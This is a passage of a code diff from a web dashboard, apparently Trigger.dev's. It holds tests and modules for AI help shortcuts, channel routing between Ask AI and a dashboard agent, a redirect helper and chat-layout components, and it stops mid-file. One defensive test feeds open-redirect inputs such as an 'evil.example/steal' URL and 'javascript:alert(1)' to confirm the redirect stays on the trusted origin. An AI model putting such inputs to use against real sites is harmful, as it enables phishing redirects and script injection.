expect(TOGGLE_PANEL_SHORTCUT.key).toBe("j");
|
||||
expect(TOGGLE_PANEL_SHORTCUT.modifiers).toEqual(["mod"]);
|
||||
expect(hotkeyOptions({ shortcut: TOGGLE_PANEL_SHORTCUT, ...enabled }).preventDefault).toBe(
|
||||
true
|
||||
);
|
||||
});
|
||||
|
||||
it("fires from inside the composer", () => {
|
||||
const options = hotkeyOptions({ shortcut: TOGGLE_PANEL_SHORTCUT, ...enabled });
|
||||
expect(options.enableOnFormTags).toBe(true);
|
||||
expect(options.enableOnContentEditable).toBe(true);
|
||||
});
|
||||
|
||||
it("leaves Cmd-I's default alone", () => {
|
||||
expect(hotkeyOptions({ shortcut: ASK_AI_SHORTCUT, ...enabled }).preventDefault).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("hotkeyOptions", () => {
|
||||
it("defaults to leaving the browser default alone", () => {
|
||||
expect(hotkeyOptions({ shortcut: { key: "k" }, ...enabled })).toEqual({
|
||||
enabled: true,
|
||||
enableOnFormTags: false,
|
||||
enableOnContentEditable: false,
|
||||
preventDefault: false,
|
||||
});
|
||||
});
|
||||
|
||||
// The library calls preventDefault before it checks `enabled`.
|
||||
it("does not prevent the default while the shortcut is disabled", () => {
|
||||
expect(
|
||||
hotkeyOptions({ shortcut: TOGGLE_PANEL_SHORTCUT, isEnabled: false }).preventDefault
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it("lets the call site turn on input elements for a shortcut that did not", () => {
|
||||
const options = hotkeyOptions({
|
||||
shortcut: { key: "k" },
|
||||
isEnabled: true,
|
||||
enabledOnInputElements: true,
|
||||
});
|
||||
expect(options.enableOnFormTags).toBe(true);
|
||||
});
|
||||
|
||||
it("survives an undefined shortcut", () => {
|
||||
expect(hotkeyOptions({ shortcut: undefined, isEnabled: false })).toEqual({
|
||||
enabled: false,
|
||||
enableOnFormTags: false,
|
||||
enableOnContentEditable: false,
|
||||
preventDefault: false,
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,46 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { aiMenuEntries, aiShortcutRows } from "./ai-entry-points";
|
||||
|
||||
// These prove the decision, not the render: the components map these lists to rows, so a row can
|
||||
// still be mislabelled — but it can no longer be shown to someone who cannot use it.
|
||||
|
||||
describe("aiMenuEntries", () => {
|
||||
it("offers the agent and Ask AI when the reader has both", () => {
|
||||
expect(aiMenuEntries({ agent: true, askAi: true })).toEqual(["agent", "ask-ai"]);
|
||||
});
|
||||
|
||||
it("offers Ask AI on its own where Kapa is configured and the agent is not available", () => {
|
||||
expect(aiMenuEntries({ agent: false, askAi: true })).toEqual(["ask-ai"]);
|
||||
});
|
||||
|
||||
it("offers the agent on its own where Kapa is not configured", () => {
|
||||
expect(aiMenuEntries({ agent: true, askAi: false })).toEqual(["agent"]);
|
||||
});
|
||||
|
||||
it("offers nothing when neither surface exists", () => {
|
||||
expect(aiMenuEntries({ agent: false, askAi: false })).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("aiShortcutRows", () => {
|
||||
it("lists ⌘J's row only for a reader with the agent", () => {
|
||||
expect(aiShortcutRows({ agent: true, askAi: false })).toContain("agent-toggle");
|
||||
expect(aiShortcutRows({ agent: false, askAi: true })).not.toContain("agent-toggle");
|
||||
});
|
||||
|
||||
it("lists ⌘I's row wherever Ask AI can open", () => {
|
||||
expect(aiShortcutRows({ agent: false, askAi: true })).toContain("ask-ai");
|
||||
expect(aiShortcutRows({ agent: true, askAi: true })).toContain("ask-ai");
|
||||
expect(aiShortcutRows({ agent: true, askAi: false })).not.toContain("ask-ai");
|
||||
});
|
||||
|
||||
it("keeps the chat rows with the agent that owns them", () => {
|
||||
expect(aiShortcutRows({ agent: true, askAi: true })).toEqual([
|
||||
"agent-toggle",
|
||||
"ask-ai",
|
||||
"agent-new-chat",
|
||||
"agent-close-chat",
|
||||
]);
|
||||
expect(aiShortcutRows({ agent: false, askAi: false })).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,32 @@
|
||||
/**
|
||||
* Which AI surfaces the reader can actually use. The agent is gated on access, Ask AI exists
|
||||
* only where Kapa is configured, and all four combinations ship — so neither surface may assume
|
||||
* the other is there, and neither may advertise what the reader cannot reach.
|
||||
*/
|
||||
export type AiSurfaces = {
|
||||
/** A dashboard-agent host is mounted for this user. */
|
||||
agent: boolean;
|
||||
/** `askAiCanOpen`: managed cloud with a Kapa website id. */
|
||||
askAi: boolean;
|
||||
};
|
||||
|
||||
export type AiMenuEntry = "agent" | "ask-ai";
|
||||
|
||||
/** Help & Feedback offers every AI surface the reader has, and nothing when they have none. */
|
||||
export function aiMenuEntries({ agent, askAi }: AiSurfaces): AiMenuEntry[] {
|
||||
const entries: AiMenuEntry[] = [];
|
||||
if (agent) entries.push("agent");
|
||||
if (askAi) entries.push("ask-ai");
|
||||
return entries;
|
||||
}
|
||||
|
||||
export type AiShortcutRow = "agent-toggle" | "ask-ai" | "agent-new-chat" | "agent-close-chat";
|
||||
|
||||
/** The shortcuts sheet lists a keystroke only where its surface registered it. */
|
||||
export function aiShortcutRows({ agent, askAi }: AiSurfaces): AiShortcutRow[] {
|
||||
const rows: AiShortcutRow[] = [];
|
||||
if (agent) rows.push("agent-toggle");
|
||||
if (askAi) rows.push("ask-ai");
|
||||
if (agent) rows.push("agent-new-chat", "agent-close-chat");
|
||||
return rows;
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
import { readFileSync } from "node:fs";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
agentDeepLinkParams,
|
||||
aiHelpDocsUrl,
|
||||
aiHelpRedirectUrl,
|
||||
askAiCanOpen,
|
||||
askAiChannelTarget,
|
||||
} from "./ask-ai-channels";
|
||||
|
||||
const CLOUD = { isManagedCloud: true, kapaWebsiteId: "kapa-id" };
|
||||
const SELF_HOSTED = { isManagedCloud: false, kapaWebsiteId: "kapa-id" };
|
||||
const CLOUD_UNCONFIGURED = { isManagedCloud: true, kapaWebsiteId: undefined };
|
||||
|
||||
describe("askAiCanOpen", () => {
|
||||
it("needs managed cloud and a website id", () => {
|
||||
expect(askAiCanOpen(CLOUD)).toBe(true);
|
||||
expect(askAiCanOpen(SELF_HOSTED)).toBe(false);
|
||||
expect(askAiCanOpen(CLOUD_UNCONFIGURED)).toBe(false);
|
||||
expect(askAiCanOpen({ isManagedCloud: true, kapaWebsiteId: "" })).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* ⌘I and the CLI's help link are Ask AI's. Neither may dead-end where Kapa cannot load, so
|
||||
* both fall through to the dashboard agent instead of doing nothing.
|
||||
*/
|
||||
describe("askAiChannelTarget", () => {
|
||||
it("gives the channel to Ask AI where it can open", () => {
|
||||
expect(askAiChannelTarget(CLOUD)).toBe("ask-ai");
|
||||
});
|
||||
|
||||
it("falls through to the agent on self-hosted", () => {
|
||||
expect(askAiChannelTarget(SELF_HOSTED)).toBe("dashboard-agent");
|
||||
});
|
||||
|
||||
it("falls through to the agent when no website id is configured", () => {
|
||||
expect(askAiChannelTarget(CLOUD_UNCONFIGURED)).toBe("dashboard-agent");
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Both surfaces are mounted on an environment page and both read the URL; whichever reads
|
||||
* `aiHelp` first deletes it, so exactly one of them may be watching for it. The agent is
|
||||
* otherwise reached by explicit invocation only — it owns no deep link of its own.
|
||||
*/
|
||||
describe("agentDeepLinkParams", () => {
|
||||
it("reads no deep link at all where Ask AI can open", () => {
|
||||
expect(agentDeepLinkParams(CLOUD)).toEqual([]);
|
||||
});
|
||||
|
||||
it("picks `aiHelp` up itself where Ask AI cannot", () => {
|
||||
expect(agentDeepLinkParams(SELF_HOSTED)).toEqual(["aiHelp"]);
|
||||
expect(agentDeepLinkParams(CLOUD_UNCONFIGURED)).toEqual(["aiHelp"]);
|
||||
});
|
||||
|
||||
it("never claims the retired `ask` param", () => {
|
||||
expect(agentDeepLinkParams(CLOUD)).not.toContain("ask");
|
||||
expect(agentDeepLinkParams(SELF_HOSTED)).not.toContain("ask");
|
||||
});
|
||||
|
||||
it("returns a stable identity, so the reader's effect does not re-run every render", () => {
|
||||
expect(agentDeepLinkParams(CLOUD)).toBe(agentDeepLinkParams(CLOUD));
|
||||
expect(agentDeepLinkParams(SELF_HOSTED)).toBe(agentDeepLinkParams(SELF_HOSTED));
|
||||
});
|
||||
});
|
||||
|
||||
describe("aiHelpRedirectUrl", () => {
|
||||
const url = aiHelpRedirectUrl({
|
||||
environmentPath: "/orgs/acme/projects/api/env/dev",
|
||||
origin: "https://cloud.trigger.dev",
|
||||
query: "Error: task timed out & failed",
|
||||
});
|
||||
|
||||
it("carries the question in the param Ask AI reads", () => {
|
||||
expect(new URL(url).searchParams.get("aiHelp")).toBe("Error: task timed out & failed");
|
||||
});
|
||||
|
||||
it("lands on the environment page", () => {
|
||||
expect(url.startsWith("https://cloud.trigger.dev/orgs/acme/projects/api/env/dev?")).toBe(true);
|
||||
});
|
||||
|
||||
/**
|
||||
* The only caller passes a path its own builder made, so none of these are reachable today.
|
||||
* The guard is here rather than at the `redirect()` because this helper is the one place both
|
||||
* that route and any future caller go through, and it is the only pure one of the two.
|
||||
*/
|
||||
it("stays on `origin` whatever shape the path arrives in", () => {
|
||||
const off = (environmentPath: string) =>
|
||||
new URL(
|
||||
aiHelpRedirectUrl({
|
||||
environmentPath,
|
||||
origin: "https://cloud.trigger.dev",
|
||||
query: "why",
|
||||
})
|
||||
);
|
||||
|
||||
expect(off("https://evil.example/steal").origin).toBe("https://cloud.trigger.dev");
|
||||
expect(off("//evil.example/steal").origin).toBe("https://cloud.trigger.dev");
|
||||
expect(off("https://evil.example//steal").origin).toBe("https://cloud.trigger.dev");
|
||||
expect(off("javascript:alert(1)").origin).toBe("https://cloud.trigger.dev");
|
||||
});
|
||||
|
||||
it("keeps the path, search and fragment of a normal internal path", () => {
|
||||
const parsed = new URL(
|
||||
aiHelpRedirectUrl({
|
||||
environmentPath: "/orgs/acme/projects/api/env/dev?tab=runs#top",
|
||||
origin: "https://cloud.trigger.dev",
|
||||
query: "why",
|
||||
})
|
||||
);
|
||||
|
||||
expect(parsed.pathname).toBe("/orgs/acme/projects/api/env/dev");
|
||||
expect(parsed.searchParams.get("tab")).toBe("runs");
|
||||
expect(parsed.searchParams.get("aiHelp")).toBe("why");
|
||||
expect(parsed.hash).toBe("#top");
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Structural guard, not behavioural proof: these assert the wiring is present in source, not
|
||||
* that a keystroke or a redirect does the right thing at runtime.
|
||||
*/
|
||||
describe("wiring", () => {
|
||||
const appLayout = readFileSync(new URL("../../routes/_app/route.tsx", import.meta.url), "utf8");
|
||||
const agent = readFileSync(new URL("./DashboardAgent.tsx", import.meta.url), "utf8");
|
||||
const askAI = readFileSync(new URL("../AskAI.tsx", import.meta.url), "utf8");
|
||||
const cliRoute = readFileSync(
|
||||
new URL("../../routes/projects.$projectRef.ai-help.ts", import.meta.url),
|
||||
"utf8"
|
||||
);
|
||||
|
||||
it("mounts `AskAIRoot` in the `_app` layout as a sibling of the app, not a wrapper", () => {
|
||||
expect(appLayout).toContain("<AskAIRoot />");
|
||||
expect(appLayout).not.toContain("<AskAIRoot>");
|
||||
});
|
||||
|
||||
it("gives `AskAIRoot` no children to render", () => {
|
||||
expect(askAI).toContain("export function AskAIRoot() {");
|
||||
});
|
||||
|
||||
it("gates the agent's ⌘I on owning the channel", () => {
|
||||
const registration = agent.slice(
|
||||
agent.indexOf("shortcut: ASK_AI_SHORTCUT"),
|
||||
agent.lastIndexOf("useDashboardAgentOpenRequests")
|
||||
);
|
||||
expect(registration).toContain("!ownsAskAiChannels");
|
||||
});
|
||||
|
||||
it("registers ⌘I in Ask AI's own provider", () => {
|
||||
expect(askAI).toContain("shortcut: ASK_AI_SHORTCUT");
|
||||
});
|
||||
|
||||
it("builds the CLI redirect through the shared helper", () => {
|
||||
expect(cliRoute).toContain("aiHelpRedirectUrl(");
|
||||
});
|
||||
|
||||
// Structural: the loader needs a session and a database, so the branch is asserted on source.
|
||||
it("sends the CLI link to the docs when neither surface can open it", () => {
|
||||
expect(cliRoute).toContain("if (!canOpenSomething)");
|
||||
expect(cliRoute).toContain("redirect(aiHelpDocsUrl(query))");
|
||||
expect(cliRoute).toContain("askAiCanOpen(");
|
||||
expect(cliRoute).toContain("canAccessDashboardAgent(");
|
||||
});
|
||||
});
|
||||
|
||||
describe("aiHelpDocsUrl", () => {
|
||||
it("carries the question to the docs", () => {
|
||||
const url = new URL(aiHelpDocsUrl("Error: task timed out & failed"));
|
||||
|
||||
expect(url.origin + url.pathname).toBe("https://trigger.dev/docs");
|
||||
expect(url.searchParams.get("q")).toBe("Error: task timed out & failed");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,82 @@
|
||||
/**
|
||||
* Two entry points belong to Ask AI (`components/AskAI.tsx`): ⌘I, and the CLI's `?aiHelp=`
|
||||
* link. The dashboard agent is reached by explicit invocation only — no deep links — except as
|
||||
* the fall-through here: Ask AI is Kapa, which only exists on managed cloud, so both channels
|
||||
* go to the agent wherever Kapa cannot open.
|
||||
*/
|
||||
|
||||
import type { Shortcut } from "~/hooks/useShortcutKeys";
|
||||
|
||||
/** Registered by whichever surface owns the channel — never both. */
|
||||
export const ASK_AI_SHORTCUT: Shortcut = {
|
||||
modifiers: ["mod"],
|
||||
key: "i",
|
||||
enabledOnInputElements: true,
|
||||
};
|
||||
|
||||
export type AskAiAvailability = {
|
||||
isManagedCloud: boolean;
|
||||
kapaWebsiteId: string | undefined;
|
||||
};
|
||||
|
||||
export function askAiCanOpen(availability: AskAiAvailability): boolean {
|
||||
return availability.isManagedCloud && !!availability.kapaWebsiteId;
|
||||
}
|
||||
|
||||
export type AskAiChannelTarget = "ask-ai" | "dashboard-agent";
|
||||
|
||||
export function askAiChannelTarget(availability: AskAiAvailability): AskAiChannelTarget {
|
||||
return askAiCanOpen(availability) ? "ask-ai" : "dashboard-agent";
|
||||
}
|
||||
|
||||
/** The CLI's link. Ask AI's own deep-link reader is keyed to this name. */
|
||||
export const ASK_AI_DEEP_LINK_PARAM = "aiHelp";
|
||||
|
||||
export type DeepLinkParam = typeof ASK_AI_DEEP_LINK_PARAM;
|
||||
|
||||
// Returned by identity, so the reader's effect doesn't re-run every render.
|
||||
const NO_PARAMS: readonly DeepLinkParam[] = [];
|
||||
const ASK_AI_PARAMS: readonly DeepLinkParam[] = [ASK_AI_DEEP_LINK_PARAM];
|
||||
|
||||
/**
|
||||
* The agent owns no deep link of its own. It reads `aiHelp` only as the fall-through: both
|
||||
* surfaces watch the URL and whichever reads the param first deletes it, so where Ask AI can
|
||||
* open, the agent must not look at all.
|
||||
*/
|
||||
export function agentDeepLinkParams(availability: AskAiAvailability): readonly DeepLinkParam[] {
|
||||
return askAiChannelTarget(availability) === "ask-ai" ? NO_PARAMS : ASK_AI_PARAMS;
|
||||
}
|
||||
|
||||
/**
|
||||
* Where the same link lands when neither surface can open it: nothing in the dashboard would
|
||||
* read the deep link, so the question goes to the docs rather than to a page that ignores it.
|
||||
*/
|
||||
export function aiHelpDocsUrl(query: string): string {
|
||||
const docs = new URL("https://trigger.dev/docs");
|
||||
docs.searchParams.set("q", query);
|
||||
return docs.toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* Where `trigger dev`'s "Get a fix for this error using AI" link lands. Always on `origin`: an
|
||||
* absolute or protocol-relative `environmentPath` would otherwise decide the host itself, and
|
||||
* the caller feeds this straight to `redirect()`.
|
||||
*/
|
||||
export function aiHelpRedirectUrl({
|
||||
environmentPath,
|
||||
origin,
|
||||
query,
|
||||
}: {
|
||||
environmentPath: string;
|
||||
origin: string;
|
||||
query: string;
|
||||
}): string {
|
||||
const base = new URL(origin);
|
||||
const requested = new URL(environmentPath, base);
|
||||
// Exactly one leading slash: a `javascript:` path has none and would run into the host, and
|
||||
// two would read as the start of another authority.
|
||||
const path = `/${requested.pathname.replace(/^\/+/, "")}`;
|
||||
const url = new URL(base.origin + path + requested.search + requested.hash);
|
||||
url.searchParams.set(ASK_AI_DEEP_LINK_PARAM, query);
|
||||
return url.toString();
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { registerAskAiHost, requestAskAi } from "./askAiOpenRequest";
|
||||
|
||||
describe("the Ask AI open-request bridge", () => {
|
||||
it("reports no host until one registers", () => {
|
||||
expect(requestAskAi()).toBe(false);
|
||||
|
||||
const off = registerAskAiHost(() => {});
|
||||
expect(requestAskAi()).toBe(true);
|
||||
|
||||
off();
|
||||
expect(requestAskAi()).toBe(false);
|
||||
});
|
||||
|
||||
it("hands the host the question it was asked for", () => {
|
||||
const asked: Array<string | undefined> = [];
|
||||
const off = registerAskAiHost((question) => asked.push(question));
|
||||
|
||||
requestAskAi("how do I deploy?");
|
||||
requestAskAi();
|
||||
|
||||
expect(asked).toEqual(["how do I deploy?", undefined]);
|
||||
off();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,27 @@
|
||||
import { useEffect } from "react";
|
||||
|
||||
// Module-level bridge, mirroring `dashboardAgentOpenRequest`: Ask AI's host sits in the `_app`
|
||||
// layout as a sibling of the app, so callers reach it by request rather than through context.
|
||||
|
||||
type Handler = (question?: string) => void;
|
||||
|
||||
const handlers = new Set<Handler>();
|
||||
|
||||
/** Returns the unsubscribe. */
|
||||
export function registerAskAiHost(handler: Handler): () => void {
|
||||
handlers.add(handler);
|
||||
return () => {
|
||||
handlers.delete(handler);
|
||||
};
|
||||
}
|
||||
|
||||
/** Returns false when no host is mounted (self-hosted, or before hydration). */
|
||||
export function requestAskAi(question?: string): boolean {
|
||||
if (handlers.size === 0) return false;
|
||||
for (const handler of handlers) handler(question);
|
||||
return true;
|
||||
}
|
||||
|
||||
export function useAskAiHost(open: Handler) {
|
||||
useEffect(() => registerAskAiHost(open), [open]);
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
// Source-level checks: "a consumer writes no spacing class" is a property of the
|
||||
// source, not of the rendered DOM.
|
||||
import { readFileSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const DIR = __dirname;
|
||||
|
||||
const CONSUMERS = ["DashboardAgentMessages.tsx"];
|
||||
|
||||
const LIBRARY = "chat-layout.tsx";
|
||||
|
||||
const REGION = /#region chat-layout transcript([\s\S]*?)#endregion chat-layout transcript/g;
|
||||
|
||||
// Matched at a class-name boundary so `gap-2` is caught but `min-w-0` is not.
|
||||
const SPACING_CLASS =
|
||||
/(?:^|[\s"'`])-?(?:p|px|py|pt|pb|pl|pr|m|mx|my|mt|mb|ml|mr|gap|gap-x|gap-y|space-x|space-y)-[\w./[\]%-]+/;
|
||||
|
||||
function read(file: string): string {
|
||||
return readFileSync(join(DIR, file), "utf8");
|
||||
}
|
||||
|
||||
function transcriptRegions(source: string): string[] {
|
||||
return [...source.matchAll(REGION)].map((match) => match[1]!);
|
||||
}
|
||||
|
||||
describe("chat-layout enforcement", () => {
|
||||
for (const consumer of CONSUMERS) {
|
||||
describe(consumer, () => {
|
||||
const source = read(consumer);
|
||||
const regions = transcriptRegions(source);
|
||||
|
||||
it("marks its transcript-level code with a chat-layout region", () => {
|
||||
expect(regions.length).toBeGreaterThan(0);
|
||||
// A region that shrank to nothing would pass every other assertion.
|
||||
expect(regions.join("").length).toBeGreaterThan(200);
|
||||
});
|
||||
|
||||
it("imports its layout from the library", () => {
|
||||
expect(source).toMatch(/from "\.{1,2}\/(?:\.\.\/)?chat-layout"/);
|
||||
});
|
||||
|
||||
for (const [i, region] of regions.entries()) {
|
||||
it(`renders no spinner of its own in transcript region ${i + 1}`, () => {
|
||||
expect(region).not.toContain("AgentSpinner");
|
||||
});
|
||||
|
||||
it(`writes no spacing class in transcript region ${i + 1}`, () => {
|
||||
const offenders = region
|
||||
.split("\n")
|
||||
.filter((line) => SPACING_CLASS.test(line))
|
||||
.map((line) => line.trim());
|
||||
expect(
|
||||
offenders,
|
||||
`use a chat-layout micro-layout instead:\n${offenders.join("\n")}`
|
||||
).toEqual([]);
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
describe(LIBRARY, () => {
|
||||
const source = read(LIBRARY);
|
||||
|
||||
it("is the single owner of the transcript's padding and rhythm", () => {
|
||||
// Pinned so a geometry change lands here, not as drift in one consumer.
|
||||
expect(source).toContain('const TRANSCRIPT_INSET_X = "px-4"');
|
||||
expect(source).toContain('const TRANSCRIPT_INSET_Y = "py-4"');
|
||||
expect(source).toContain('const TURN_GAP = "space-y-4"');
|
||||
expect(source).toContain('const TURN_BODY_GAP = "space-y-2"');
|
||||
});
|
||||
|
||||
it("exports a component for every documented micro-layout", () => {
|
||||
for (const name of [
|
||||
"ChatTranscript",
|
||||
"ChatTurn",
|
||||
"ChatText",
|
||||
"ChatCardSlot",
|
||||
"ChatProgress",
|
||||
"ChatToolRow",
|
||||
"ChatNote",
|
||||
"ChatStatusLine",
|
||||
"ChatActionsRow",
|
||||
]) {
|
||||
expect(source, name).toContain(`export function ${name}(`);
|
||||
}
|
||||
});
|
||||
|
||||
it("renders the agent spinner from exactly one micro-layout", () => {
|
||||
const renderSites = [...source.matchAll(/<AgentSpinner\b/g)];
|
||||
expect(renderSites).toHaveLength(1);
|
||||
expect(source).toContain("export function ChatProgress(");
|
||||
});
|
||||
|
||||
it("renders assistant text as prose, not as a card", () => {
|
||||
expect(source).not.toContain("ChatBubble");
|
||||
});
|
||||
|
||||
it("gives the user bubble a grey surface, not the accent", () => {
|
||||
expect(source).toContain("bg-background-raised");
|
||||
expect(source).not.toMatch(/bg-indigo-\d/);
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Structural guard, not behavioural proof: the webapp has no DOM test environment, so nothing
|
||||
* here lays the panel out or scrolls it. It asserts the class combination that loses the top
|
||||
* of an overflowing column is absent — `justify-center` on a scroll container centres by
|
||||
* distributing free space, and negative free space overflows past the scroll origin, where a
|
||||
* child's `m-auto` collapses to zero instead.
|
||||
*/
|
||||
describe("scrolling panes", () => {
|
||||
const SCROLLERS = ["DashboardAgentHero.tsx"];
|
||||
|
||||
it.each(SCROLLERS)("%s centres an overflowing column with auto margins", (file) => {
|
||||
const source = read(file);
|
||||
const scrollLines = source
|
||||
.split("\n")
|
||||
.filter((line) => line.includes("overflow-y-auto") || line.includes("overflow-auto"));
|
||||
expect(scrollLines.length).toBeGreaterThan(0);
|
||||
for (const line of scrollLines) {
|
||||
expect(line, line.trim()).not.toMatch(/\bjustify-center\b/);
|
||||
}
|
||||
expect(source).toMatch(/\bm-auto\b/);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,187 @@
|
||||
// All transcript spacing lives here. Consumers compose these micro-layouts and
|
||||
// write no spacing classes of their own; `chat-layout.test.ts` enforces that.
|
||||
import type { Ref } from "react";
|
||||
import { createContext, Suspense, useContext } from "react";
|
||||
import { StreamdownRenderer } from "~/components/code/StreamdownRenderer";
|
||||
import { AgentSpinner } from "~/components/primitives/Spinner";
|
||||
import { cn } from "~/utils/cn";
|
||||
|
||||
const TRANSCRIPT_INSET_X = "px-4";
|
||||
const TRANSCRIPT_INSET_Y = "py-4";
|
||||
const TURN_GAP = "space-y-4";
|
||||
const TURN_BODY_GAP = "space-y-2";
|
||||
const ROW_GAP = "gap-2";
|
||||
const CHIP_GAP = "gap-1.5";
|
||||
|
||||
const SCROLLER =
|
||||
"flex-1 overflow-y-auto scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control";
|
||||
|
||||
const SCROLL_FADE = "h-6 bg-linear-to-t from-background-bright to-transparent";
|
||||
|
||||
export type ChatRole = "user" | "assistant";
|
||||
|
||||
// True when an ancestor already applied the transcript inset.
|
||||
const ChatInsetContext = createContext(false);
|
||||
|
||||
function ChatInsetProvider({ inset, children }: { inset: boolean; children: React.ReactNode }) {
|
||||
return <ChatInsetContext.Provider value={inset}>{children}</ChatInsetContext.Provider>;
|
||||
}
|
||||
|
||||
function useInsetClass(): string | undefined {
|
||||
return useContext(ChatInsetContext) ? undefined : TRANSCRIPT_INSET_X;
|
||||
}
|
||||
|
||||
// `contentRef` must stay on the padded column inside the scroller:
|
||||
// `useTranscriptAutoScroll` walks up from it to find the scroller.
|
||||
export function ChatTranscript({
|
||||
children,
|
||||
contentRef,
|
||||
}: {
|
||||
children: React.ReactNode;
|
||||
contentRef?: Ref<HTMLDivElement>;
|
||||
}) {
|
||||
return (
|
||||
<div className="relative flex min-h-0 flex-1 flex-col">
|
||||
<div className={SCROLLER}>
|
||||
<div ref={contentRef} className={cn(TRANSCRIPT_INSET_Y, TURN_GAP)}>
|
||||
{children}
|
||||
</div>
|
||||
</div>
|
||||
<div
|
||||
aria-hidden
|
||||
className={cn("pointer-events-none absolute inset-x-0 bottom-0", SCROLL_FADE)}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function ChatTurn({
|
||||
role = "assistant",
|
||||
bleed = false,
|
||||
children,
|
||||
}: {
|
||||
role?: ChatRole;
|
||||
bleed?: boolean;
|
||||
children: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<ChatInsetProvider inset={!bleed}>
|
||||
<div
|
||||
className={cn(
|
||||
bleed ? undefined : TRANSCRIPT_INSET_X,
|
||||
"min-w-0",
|
||||
role === "user" ? "flex justify-end" : TURN_BODY_GAP
|
||||
)}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
</ChatInsetProvider>
|
||||
);
|
||||
}
|
||||
|
||||
export function ChatText({ role = "assistant", text }: { role?: ChatRole; text: string }) {
|
||||
if (role === "user") {
|
||||
return (
|
||||
<div className="max-w-[80%] rounded-lg bg-background-raised px-4 py-2.5 text-sm text-text-bright">
|
||||
<div className="whitespace-pre-wrap wrap-anywhere">{text}</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
return (
|
||||
<div className="streamdown-container min-w-0 font-sans text-sm font-normal text-text-dimmed wrap-anywhere">
|
||||
<Suspense fallback={<span className="whitespace-pre-wrap">{text}</span>}>
|
||||
<StreamdownRenderer>{text}</StreamdownRenderer>
|
||||
</Suspense>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function ChatCardSlot({ children }: { children: React.ReactNode }) {
|
||||
return <div className="min-w-0">{children}</div>;
|
||||
}
|
||||
|
||||
// The transcript's only `AgentSpinner`. Hosts keep it mounted for the whole turn
|
||||
// and swap `children`; remounting restarts the animation.
|
||||
export function ChatProgress({ children }: { children: React.ReactNode }) {
|
||||
const insetClass = useInsetClass();
|
||||
return (
|
||||
<div className={cn(insetClass, "flex items-start text-sm text-text-dimmed", ROW_GAP)}>
|
||||
{/* text-sm line box is 20px, the spinner 12px: 4px centres it on line one. */}
|
||||
<span className="mt-1 shrink-0">
|
||||
<AgentSpinner size={12} />
|
||||
</span>
|
||||
{children}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function ChatToolRow({ children }: { children: React.ReactNode }) {
|
||||
return <div className={cn("min-w-0", TURN_BODY_GAP)}>{children}</div>;
|
||||
}
|
||||
|
||||
export function ChatNote({ children }: { children: React.ReactNode }) {
|
||||
const insetClass = useInsetClass();
|
||||
return (
|
||||
<div
|
||||
className={cn(
|
||||
insetClass,
|
||||
"rounded-md border border-dashed border-border-bright bg-background-bright/40 px-3 py-2"
|
||||
)}
|
||||
>
|
||||
<span className="text-xs text-text-dimmed">{children}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function ChatStatusLine({
|
||||
icon,
|
||||
children,
|
||||
}: {
|
||||
icon?: React.ReactNode;
|
||||
children: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<div className={cn("flex items-start", ROW_GAP)}>
|
||||
{icon}
|
||||
<div className={cn("min-w-0", TURN_BODY_GAP)}>{children}</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const BLOCK_LINE_GAP = "space-y-1";
|
||||
const BLOCK_INSET = "px-3 py-2.5";
|
||||
|
||||
export function ChatSystemBlock({
|
||||
label,
|
||||
icon,
|
||||
children,
|
||||
actions,
|
||||
}: {
|
||||
label: string;
|
||||
icon?: React.ReactNode;
|
||||
children: React.ReactNode;
|
||||
actions?: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<div
|
||||
className={cn(
|
||||
"min-w-0 rounded-md border border-border-bright bg-background-dimmed",
|
||||
BLOCK_INSET,
|
||||
TURN_BODY_GAP
|
||||
)}
|
||||
>
|
||||
<div className={cn("flex items-center", CHIP_GAP)}>
|
||||
{icon}
|
||||
<span className="text-xxs font-medium uppercase tracking-wider text-text-dimmed">
|
||||
{label}
|
||||
</span>
|
||||
</div>
|
||||
<div className={cn("min-w-0", BLOCK_LINE_GAP)}>{children}</div>
|
||||
{actions ? <ChatActionsRow>{actions}</ChatActionsRow> : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function ChatActionsRow({ children }: { children: React.ReactNode }) {
|
||||
return <div className="flex shrink-0 flex-wrap items-center gap-1">{children}</div>;
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { createCoalescedReload } from "./coalesced-reload";
|
||||
|
||||
/** A run whose completion the test controls, recording the order it was started in. */
|
||||
function controllable() {
|
||||
const gates: Array<() => void> = [];
|
||||
let started = 0;
|
||||
const run = () => {
|
||||
started++;
|
||||
return new Promise<void>((resolve) => gates.push(resolve));
|
||||
};
|
||||
return {
|
||||
run,
|
||||
get started() {
|
||||
return started;
|
||||
},
|
||||
